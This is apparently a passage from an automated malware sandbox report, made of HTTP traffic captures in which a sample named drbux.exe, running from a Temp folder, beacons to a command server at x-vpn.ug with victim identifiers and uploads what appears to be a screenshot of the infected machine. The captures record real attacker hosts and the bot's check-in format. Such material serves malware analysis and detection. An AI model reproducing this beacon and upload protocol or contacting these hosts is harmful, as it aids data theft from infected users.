Jul 19, 2021 18:35:40.759232998 CEST	4271	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:40.759530067 CEST	4274	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:40.759901047 CEST	4277	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:40.760539055 CEST	4278	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:41.004757881 CEST	4342	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.6	50099	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:00.349307060 CEST	21754	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:00.428651094 CEST	21805	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.2.6	50100	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:00.628499031 CEST	21813	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:00.711939096 CEST	21814	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.6	50101	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:00.765868902 CEST	21814	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:37:00.766228914 CEST	21814	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:00.766628027 CEST	21825	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:00.767827034 CEST	21827	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:00.849725008 CEST	21833	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:00.849966049 CEST	21836	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:37:00.849999905 CEST	21838	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:37:00.850275040 CEST	21841	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:37:00.850570917 CEST	21844	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:37:00.850610971 CEST	21846	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:37:00.850748062 CEST	21847	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:00.850789070 CEST	21848	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.2.6	50102	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:00.914596081 CEST	21854	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:01.012906075 CEST	21897	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.6	50103	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:01.213536978 CEST	21914	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:01.310328007 CEST	21928	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.2.6	50104	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:01.274008036 CEST	21914	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:01.274209976 CEST	21914	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:01.274455070 CEST	21925	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:01.274574995 CEST	21927	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:01.376626015 CEST	21930	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:01.376667023 CEST	21933	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:37:01.376732111 CEST	21936	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:37:01.376775980 CEST	21944	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:37:01.376818895 CEST	21951	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:37:01.376847029 CEST	21953	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:37:01.474447012 CEST	21959	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:37:01.723963976 CEST	22013	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.6	50105	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:01.521802902 CEST	22006	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:01.616688967 CEST	22012	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.2.6	50106	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
